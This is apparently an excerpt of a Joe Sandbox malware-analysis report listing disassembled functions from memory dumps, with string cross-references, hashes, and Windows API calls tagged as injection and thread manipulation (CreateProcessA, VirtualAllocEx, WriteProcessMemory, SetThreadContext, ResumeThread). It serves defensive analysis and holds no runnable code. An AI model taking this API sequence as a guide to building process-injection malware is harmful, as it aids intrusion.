L, xrefs: 05358785
<, xrefs: 053591C3
1, xrefs: 05358F67
*, xrefs: 053590C9
5, xrefs: 05358805
?, xrefs: 05358C2D
6C9B, xrefs: 05358955
=, xrefs: 05358F35
V, xrefs: 053586DB
=, xrefs: 053587EF
W, xrefs: 05358A49
\, xrefs: 05358875
+, xrefs: 05358D9F
`, xrefs: 05358673
V, xrefs: 053583CB
7, xrefs: 05358D13
&, xrefs: 05359115
8, xrefs: 05358CE7
3, xrefs: 05358857
D, xrefs: 053585D7
Y, xrefs: 05359121
&, xrefs: 05358C61
_, xrefs: 053588E7
AcB, xrefs: 05359013
8cA, xrefs: 053589A9
2, xrefs: 053586AF
a, xrefs: 0535868F
g.B, xrefs: 05358597
R, xrefs: 05358603
9, xrefs: 0535895F
D, xrefs: 0535844C

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: $!$"$&$&$&$&hNB$*$+$-$-$.$1$1$2$3$5$5$6C9B$7$8$8cA$9$<$=$=$>$?$B$C$D$D$D$F$K$L$L$N$O$P$R$R$S$V$V$V$W$Y$[$\$_$`$a$a$a$g.B$AcB
API String ID: 0-3214559996
Opcode ID: 43e5ae6bdfb6545201184b34617d7b0ba9b6ad05d22ebddf4f832300fc3b9f1c
Instruction ID: bad609f1c1b6e3a0f18be24412463ccd509b4b5c84a8bb76ff32c89e1fad05df
Opcode Fuzzy Hash: 43e5ae6bdfb6545201184b34617d7b0ba9b6ad05d22ebddf4f832300fc3b9f1c
Instruction Fuzzy Hash: FCA2CEB6D016298FDB64DF2ADD4479ABBF2FB89301F0091EA940CA7354EB754A85CF04

Function 053581C0 Relevance: 72.2, Strings: 57, Instructions: 919
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

a, xrefs: 05358BEB
, xrefs: 05358D55
", xrefs: 053584A5
S, xrefs: 05359007
V, xrefs: 05358A9B
1, xrefs: 05358515
D, xrefs: 05358529
!, xrefs: 05358F8B
P, xrefs: 0535841B
O, xrefs: 05358575
L, xrefs: 0535916B
&hNB, xrefs: 05358DC7
K, xrefs: 05359145
-, xrefs: 053589B3
a, xrefs: 053586D1
., xrefs: 05358D81
[, xrefs: 05358C37
>, xrefs: 05358BA1
F, xrefs: 05358E2F
-, xrefs: 053589BD
&, xrefs: 05358E77
B, xrefs: 05358C0D
N, xrefs: 053590BD
R, xrefs: 05358993
C, xrefs: 0535888B
5, xrefs: 05358453
L, xrefs: 05358785
<, xrefs: 053591C3
1, xrefs: 05358F67
*, xrefs: 053590C9
5, xrefs: 05358805
?, xrefs: 05358C2D
6C9B, xrefs: 05358955
=, xrefs: 05358F35
V, xrefs: 053586DB
=, xrefs: 053587EF
W, xrefs: 05358A49
\, xrefs: 05358875
+, xrefs: 05358D9F
`, xrefs: 05358673
V, xrefs: 053583CB
7, xrefs: 05358D13
&, xrefs: 05359115
8, xrefs: 05358CE7
3, xrefs: 05358857
D, xrefs: 053585D7
Y, xrefs: 05359121
&, xrefs: 05358C61
_, xrefs: 053588E7
AcB, xrefs: 05359013
8cA, xrefs: 053589A9
2, xrefs: 053586AF
a, xrefs: 0535868F
g.B, xrefs: 05358597
R, xrefs: 05358603
9, xrefs: 0535895F
D, xrefs: 0535844C

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: $!$"$&$&$&$&hNB$*$+$-$-$.$1$1$2$3$5$5$6C9B$7$8$8cA$9$<$=$=$>$?$B$C$D$D$D$F$K$L$L$N$O$P$R$R$S$V$V$V$W$Y$[$\$_$`$a$a$a$g.B$AcB
API String ID: 0-3214559996
Opcode ID: 7455a16cc475d7071284c5839755d44c1fe6b749e59710960b5263f27fcf5651
Instruction ID: 2b1f3f0cd062d70bc44a672862063e5fc29fd08b2d8cc3a05e4d23db8f03d3ff
Opcode Fuzzy Hash: 7455a16cc475d7071284c5839755d44c1fe6b749e59710960b5263f27fcf5651
Instruction Fuzzy Hash: 7AA2BFB5D016298FEB64DF2ADD4479ABBF2FB89301F0091EA940CA7354EB754A85CF04

Function 053594B0 Relevance: 72.1, Strings: 57, Instructions: 879
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

V, xrefs: 05359A10
&, xrefs: 05359F96
R, xrefs: 05359CC8
O, xrefs: 053598AA
L, xrefs: 0535A4A0
a, xrefs: 053599C4
L, xrefs: 05359ABA
S, xrefs: 0535A33C
&, xrefs: 0535A1AC
=, xrefs: 05359B24
5, xrefs: 05359788
8cA, xrefs: 05359CDE
-, xrefs: 05359CE8
-, xrefs: 05359CF2
5, xrefs: 05359B3A
`, xrefs: 053599A8
9, xrefs: 05359C94
>, xrefs: 05359ED6
", xrefs: 053597DA
1, xrefs: 0535984A
C, xrefs: 05359BC0
a, xrefs: 05359F20
g.B, xrefs: 053598CC
*, xrefs: 0535A3FE
Y, xrefs: 0535A456
P, xrefs: 05359750
D, xrefs: 05359781
3, xrefs: 05359B8C
&hNB, xrefs: 0535A0FC
V, xrefs: 05359DD0
AcB, xrefs: 0535A348
R, xrefs: 05359938
W, xrefs: 05359D7E
[, xrefs: 05359F6C
a, xrefs: 05359A06
=, xrefs: 0535A26A
2, xrefs: 053599E4
1, xrefs: 0535A29C
K, xrefs: 0535A47A
+, xrefs: 0535A0D4
N, xrefs: 0535A3F2
V, xrefs: 05359700
!, xrefs: 0535A2C0
, xrefs: 0535A08A
?, xrefs: 05359F62
\, xrefs: 05359BAA
F, xrefs: 0535A164
D, xrefs: 0535990C
6C9B, xrefs: 05359C8A
B, xrefs: 05359F42
<, xrefs: 0535A4F8
D, xrefs: 0535985E
7, xrefs: 0535A048
., xrefs: 0535A0B6
_, xrefs: 05359C1C
&, xrefs: 0535A44A
8, xrefs: 0535A01C

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: $!$"$&$&$&$&hNB$*$+$-$-$.$1$1$2$3$5$5$6C9B$7$8$8cA$9$<$=$=$>$?$B$C$D$D$D$F$K$L$L$N$O$P$R$R$S$V$V$V$W$Y$[$\$_$`$a$a$a$g.B$AcB
API String ID: 0-3214559996
Opcode ID: f20862fc8fca0453e31902b64905df14bd55fe7530a197b10085c981f7345f88
Instruction ID: a0d962a2ddfc91ddb0229aa51d4eca39f4d0408f07832803fe666d260a1cd3fa
Opcode Fuzzy Hash: f20862fc8fca0453e31902b64905df14bd55fe7530a197b10085c981f7345f88
Instruction Fuzzy Hash: 7CA2D1B5D056298FEB64DF2ADE4479ABBF1BB89304F0091EA950CB7344E7754AC18F08

Function 053594C0 Relevance: 72.1, Strings: 57, Instructions: 879
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

V, xrefs: 05359A10
&, xrefs: 05359F96
R, xrefs: 05359CC8
O, xrefs: 053598AA
L, xrefs: 0535A4A0
a, xrefs: 053599C4
L, xrefs: 05359ABA
S, xrefs: 0535A33C
&, xrefs: 0535A1AC
=, xrefs: 05359B24
5, xrefs: 05359788
8cA, xrefs: 05359CDE
-, xrefs: 05359CE8
-, xrefs: 05359CF2
5, xrefs: 05359B3A
`, xrefs: 053599A8
9, xrefs: 05359C94
>, xrefs: 05359ED6
", xrefs: 053597DA
1, xrefs: 0535984A
C, xrefs: 05359BC0
a, xrefs: 05359F20
g.B, xrefs: 053598CC
*, xrefs: 0535A3FE
Y, xrefs: 0535A456
P, xrefs: 05359750
D, xrefs: 05359781
3, xrefs: 05359B8C
&hNB, xrefs: 0535A0FC
V, xrefs: 05359DD0
AcB, xrefs: 0535A348
R, xrefs: 05359938
W, xrefs: 05359D7E
[, xrefs: 05359F6C
a, xrefs: 05359A06
=, xrefs: 0535A26A
2, xrefs: 053599E4
1, xrefs: 0535A29C
K, xrefs: 0535A47A
+, xrefs: 0535A0D4
N, xrefs: 0535A3F2
V, xrefs: 05359700
!, xrefs: 0535A2C0
, xrefs: 0535A08A
?, xrefs: 05359F62
\, xrefs: 05359BAA
F, xrefs: 0535A164
D, xrefs: 0535990C
6C9B, xrefs: 05359C8A
B, xrefs: 05359F42
<, xrefs: 0535A4F8
D, xrefs: 0535985E
7, xrefs: 0535A048
., xrefs: 0535A0B6
_, xrefs: 05359C1C
&, xrefs: 0535A44A
8, xrefs: 0535A01C

Memory Dump Source

Source File: 00000006.00000002.2286715644.0000000005350000.00000040.00000800.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5350000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: $!$"$&$&$&$&hNB$*$+$-$-$.$1$1$2$3$5$5$6C9B$7$8$8cA$9$<$=$=$>$?$B$C$D$D$D$F$K$L$L$N$O$P$R$R$S$V$V$V$W$Y$[$\$_$`$a$a$a$g.B$AcB
API String ID: 0-3214559996
Opcode ID: 9986aebcf6b256bd77131deb5ffa9429fd65f9bdc866541cf15010b0d72decaf
Instruction ID: 716e1f73e510fc75ff5b0e44644627f6e17fcb1b9257399b1d3b0ec5cf913489
Opcode Fuzzy Hash: 9986aebcf6b256bd77131deb5ffa9429fd65f9bdc866541cf15010b0d72decaf
Instruction Fuzzy Hash: B0A2C1B5D056298FEB64DF2ADE4079ABBF2BB89304F0091E9950CB7344E7754AC18F08

Function 053689C8 Relevance: 23.3, Strings: 16, Instructions: 3324COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0536BFCE
(o^q, xrefs: 05369406
4|cq, xrefs: 0536C133
4'^q, xrefs: 0536BF9E
,bq, xrefs: 05368FDF
$, xrefs: 0536C4C1
,bq, xrefs: 05368FEF
4'^q, xrefs: 0536A31B
4'^q, xrefs: 0536A193
(o^q, xrefs: 05369251
4'^q, xrefs: 0536BF43
4|cq, xrefs: 0536C118
4'^q, xrefs: 0536B201
Hbq, xrefs: 053692C8
$^q, xrefs: 0536BFF0
(o^q, xrefs: 0536925B

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: $$(o^q$(o^q$(o^q$,bq$,bq$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4|cq$4|cq$Hbq$$^q
API String ID: 0-1430694269
Opcode ID: 371a4f71b664989a1cd24acafb7cef72d0d399e19c04987886c2178ac3a174c8
Instruction ID: 4707511a1c759598b7ed6a9479ae053cd2a5d4ff322fc909dc9d0eca1c4c9218
Opcode Fuzzy Hash: 371a4f71b664989a1cd24acafb7cef72d0d399e19c04987886c2178ac3a174c8
Instruction Fuzzy Hash: 18730B75A00219CFCB14DF68C998AADB7B2BF48310F15C599E819AB369CB35ED81CF50

Function 05687F7E Relevance: 1.8, APIs: 1, Instructions: 324processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0568824F

Memory Dump Source

Source File: 00000006.00000002.2318689312.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5680000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e730761ebc7045b2d658a510f090c81abed31edc4cc99f870fe3f9dc03029ae6
Instruction ID: 8e2ad5cd2aa0469ad3469f3f69fca189f3f146e6e3fb564728a3807d6801f63c
Opcode Fuzzy Hash: e730761ebc7045b2d658a510f090c81abed31edc4cc99f870fe3f9dc03029ae6
Instruction Fuzzy Hash: 91C12670D0021D8FDB20DFA8C845BEEBBB1BF49304F049AA9D859B7250DB749A85CF95

Function 05687F88 Relevance: 1.8, APIs: 1, Instructions: 321processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0568824F

Memory Dump Source

Source File: 00000006.00000002.2318689312.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5680000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: caf350edeccc604a2bfea29f98b1304c871ecd2e6f5c167654961178e7e586d5
Instruction ID: 1d129556350fbcb8301880d0fa54a456efb356e351fa1c765f7783261b5ea6e1
Opcode Fuzzy Hash: caf350edeccc604a2bfea29f98b1304c871ecd2e6f5c167654961178e7e586d5
Instruction Fuzzy Hash: 9EC11670D0021D8FDB20DFA8C845BEEBBB1BF49304F0496A9D859B7250DB749A85CF95

Function 05687BF8 Relevance: 1.6, APIs: 1, Instructions: 119injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05687CD3

Memory Dump Source

Source File: 00000006.00000002.2318689312.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5680000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: e69f6c50a8f29688feab9552c09afc1fa094a7101c4d4abd1d443dd3ea396d77
Instruction ID: 503914e9b2910bf22d3eb6a2385c3a249b776c9468fb46c7cd9303b13ba1ad9f
Opcode Fuzzy Hash: e69f6c50a8f29688feab9552c09afc1fa094a7101c4d4abd1d443dd3ea396d77
Instruction Fuzzy Hash: 6241ABB5D012589FCB00CFA9D984AEEFBF1FB49310F24942AE815B7210D735AA45CF58

Function 05687C00 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05687CD3

Memory Dump Source

Source File: 00000006.00000002.2318689312.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5680000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: ea4bf746113c90739dafb43c6158e5557a93c489ab649f05e42a8bd2ce757120
Instruction ID: 3607393e37b9e308bfe7dbe224cc33640d45bcdb2a9d0f6a8bc6a4ab3c1d7e15
Opcode Fuzzy Hash: ea4bf746113c90739dafb43c6158e5557a93c489ab649f05e42a8bd2ce757120
Instruction Fuzzy Hash: 45419AB5D012589FCB10DFA9D984AEEFBF1FB49310F20942AE819B7210D735AA45CF54

Function 05687D52 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05687E0A

Memory Dump Source

Source File: 00000006.00000002.2318689312.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5680000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: b15f935484966249c0d122486ac61d568f0a79ce59979f3ab801a96f85dcbf18
Instruction ID: 2a125b50694af6ac3180e6fd762542a5d822ee49ce44552cbf1442650e1492d8
Opcode Fuzzy Hash: b15f935484966249c0d122486ac61d568f0a79ce59979f3ab801a96f85dcbf18
Instruction Fuzzy Hash: DB41A9B5D042589FCF10CFA9D884AEEFBB1FB49310F14942AE815B7210D735A946CF68

Function 05687D58 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05687E0A

Memory Dump Source

Source File: 00000006.00000002.2318689312.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5680000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: f3a01e068532d743f8c5a4cedf155e9d48a0c9e187c6c77270c6e4042e2a0815
Instruction ID: bf0590df6ebb5a9b9842218997d887cd03cff83f7133f630a5b3154193a989a9
Opcode Fuzzy Hash: f3a01e068532d743f8c5a4cedf155e9d48a0c9e187c6c77270c6e4042e2a0815
Instruction Fuzzy Hash: 024197B5D042589FCF10DFAAD984AEEFBB1FB49310F20942AE815B7210D735A945CF68

Function 05687AD8 Relevance: 1.6, APIs: 1, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05687B8A

Memory Dump Source

Source File: 00000006.00000002.2318689312.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5680000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e670f6306fda1530542f589dea54776f211c0b9b8dc49225a558a66bc5d91dc2
Instruction ID: f6b025cb93c49bfd1895f2f78687ce4f6669b33ef3bed93985ffc6ed13b992fb
Opcode Fuzzy Hash: e670f6306fda1530542f589dea54776f211c0b9b8dc49225a558a66bc5d91dc2
Instruction Fuzzy Hash: CD3198B4D002589FCF10CFA9D984AEEFBB1FB49310F10942AE815B7210D735A946CF58

Function 05687AE0 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05687B8A

Memory Dump Source

Source File: 00000006.00000002.2318689312.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5680000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b64a88b31978a559f39d63c5c591c2c3982abab9be1e945510f7246541500821
Instruction ID: bc1013c3c63bd961542c4251c918e0eedcf314761609894c360962725af84217
Opcode Fuzzy Hash: b64a88b31978a559f39d63c5c591c2c3982abab9be1e945510f7246541500821
Instruction Fuzzy Hash: 1B31A8B8D002589FCF10CFA9D980AEEFBB1FB49310F20942AE815B7210D735A946CF58

Function 056879B0 Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05687A67

Memory Dump Source

Source File: 00000006.00000002.2318689312.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5680000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: fb7cc6ca94a5669674c4b159ace959e34c8440a494d7431260a2fdaa2ac9b341
Instruction ID: ce835c384b0462e818f772beb64b3bb2c8b7ac81ccc7140e22d9d89241717797
Opcode Fuzzy Hash: fb7cc6ca94a5669674c4b159ace959e34c8440a494d7431260a2fdaa2ac9b341
Instruction Fuzzy Hash: F741BBB5D002589FCB14DFAAD884AEEFBF1FB49314F24802AE455B7240D739AA85CF54

Function 056879B8 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05687A67

Memory Dump Source

Source File: 00000006.00000002.2318689312.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5680000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0347ec27a52f9ffd11b9c4fcebe4623177219d007a3b62f4f512f3c003c8a1bd
Instruction ID: 587098244223779f65882f90705f2e0a05d05b9a7168788f794f29067e0b2f3b
Opcode Fuzzy Hash: 0347ec27a52f9ffd11b9c4fcebe4623177219d007a3b62f4f512f3c003c8a1bd
Instruction Fuzzy Hash: B331BCB5D002589FCB10DFAAD884AEEFBF1FB49310F24802AE415B7240D739AA85CF54

Function 056878C1 Relevance: 1.6, APIs: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 05687946

Memory Dump Source

Source File: 00000006.00000002.2318689312.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5680000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 14e5041ecc94f8834aa8e202a0fe901895fc922025c78e828401286fa6503cd6
Instruction ID: e655f2a3892a5d176eb4ffb294142c1693b6bbed9cb3df68370a06e72b01c3ba
Opcode Fuzzy Hash: 14e5041ecc94f8834aa8e202a0fe901895fc922025c78e828401286fa6503cd6
Instruction Fuzzy Hash: 9E31BCB4D012189FCB10DFA9D585AEEFBB5EB49320F20942AE815B7310C735A841CF54

Function 056878C8 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 05687946

Memory Dump Source

Source File: 00000006.00000002.2318689312.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5680000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a30c5ce92d473e15da869ec611123f8ed5794b41a532968a9df6a740d3a0bcd3
Instruction ID: 4e05745592d9fc25d32a7ca092674260a30a4f09ee9787162d9fdeef91281ac0
Opcode Fuzzy Hash: a30c5ce92d473e15da869ec611123f8ed5794b41a532968a9df6a740d3a0bcd3
Instruction Fuzzy Hash: A131A9B4D012189FCF14DFA9D984AAEFBB5EB49320F20942AE815B7310C735A941CF98

Function 05368398 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

d8cq, xrefs: 053687A0

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: d8cq
API String ID: 0-3601494702
Opcode ID: 7a4ecbc397760903bb32b90be583fcc14b0d752bcf818bb1914400270299f7fd
Instruction ID: 8b54c3fbc0c7f2bb715fd1038e121a3fe2c2a16b5d5cb90edc0a71b5c1ad67bd
Opcode Fuzzy Hash: 7a4ecbc397760903bb32b90be583fcc14b0d752bcf818bb1914400270299f7fd
Instruction Fuzzy Hash: 97616934A001189FCB14DF68D958AAEBBF6BB8C710F118569E902EB3A4CA71DC51CB91

Function 05364440 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

8bq, xrefs: 053644E5

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: 8bq
API String ID: 0-187764589
Opcode ID: 8ebb4c13e6d9cb80e3aa2f2d0572f1c99b641d33f55a272e7ddff7033db6214b
Instruction ID: 942030c876d3640afe1b399ad0c403bfede26ca3407b5569b960e5ea145302dc
Opcode Fuzzy Hash: 8ebb4c13e6d9cb80e3aa2f2d0572f1c99b641d33f55a272e7ddff7033db6214b
Instruction Fuzzy Hash: C741F378D04209DFCF05DFA9D488AAEBBF5FB49300F10842AE516A7354EBB49946CF91

Function 05364430 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

8bq, xrefs: 053644E5

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: 8bq
API String ID: 0-187764589
Opcode ID: 2236ba26e9750f8413a7b68dd8b3e567016a625cba229f9e3b817dfe2c55ee55
Instruction ID: 97dcf920324cc75c2e9e60c739a447c354dffaa2ddd3f48da9875caee1f275b2
Opcode Fuzzy Hash: 2236ba26e9750f8413a7b68dd8b3e567016a625cba229f9e3b817dfe2c55ee55
Instruction Fuzzy Hash: 63410574D04209DFCF05DFA9D884AAEBBB6FF49300F00842AE516A7354EBB49946CF91

Function 05367D18 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

Hbq, xrefs: 05367DBC

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 68a48f2fa284c21091a2c00aa56af8d5b15b8aa5ed586ddaa4b52d171eaa2c9e
Instruction ID: 20b7e915a247160165370bc41891c3068ce3d00847fabf6e648ec433c1546cb7
Opcode Fuzzy Hash: 68a48f2fa284c21091a2c00aa56af8d5b15b8aa5ed586ddaa4b52d171eaa2c9e
Instruction Fuzzy Hash: B521D171A44208AFE744AB74DC05BFF3BBAFB84700F10C969E505DB284DE399A128794

Function 05367D28 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

Hbq, xrefs: 05367DBC

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 5e2e14f26a0ed616c6385dc9a9eae4b2d922d8d0e689badbce214981db58d382
Instruction ID: cca6e8ea78be4b7d32d182690bf27cd10436ec6a69eeee4a9b36ae028b81c561
Opcode Fuzzy Hash: 5e2e14f26a0ed616c6385dc9a9eae4b2d922d8d0e689badbce214981db58d382
Instruction Fuzzy Hash: 5021AC71E44208AFEB44AB789C15BBE7BBAFB84300F50C969E505DA284DE349E118790

Function 053647C0 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 219ca4abe74526cd61184528f134c4ab1449d6df4d0368786f35576ea9791326
Instruction ID: 96664f37e7ae3dda2305df90ac39082d1aea9def0e639be0d2339e2e1b988990
Opcode Fuzzy Hash: 219ca4abe74526cd61184528f134c4ab1449d6df4d0368786f35576ea9791326
Instruction Fuzzy Hash: A361BE74E41248CFDF14DFA9D488AAEBBF6BB89300F20912AD425BB344DB745955CF50

Function 053640A0 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36f7bbb12180b1ab2f227eb2746e12f6208a64b5acfebf9c7433a7d4f2651418
Instruction ID: 6fa7efbf2592f6ea76115990aaea10b423dee9572583fc512f6141a0f063b3c6
Opcode Fuzzy Hash: 36f7bbb12180b1ab2f227eb2746e12f6208a64b5acfebf9c7433a7d4f2651418
Instruction Fuzzy Hash: D561B074E40218CFDF04DFA9D994AEEBBB6FF48300F20852AE509AB264DB355995CF50

Function 05364090 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2288054482.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_REaoHTwA9AqN_cDvubi9mxZt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce24ef114a281ddf8c75b8733a9c1766a04e68533e3437e1240abfe824056353
Instruction ID: 35952ce0e7ff859371f7dc845b9a84bda99c1592d063e2ae9ba14e0529b2a077
Opcode Fuzzy Hash: ce24ef114a281ddf8c75b8733a9c1766a04e68533e3437e1240abfe824056353
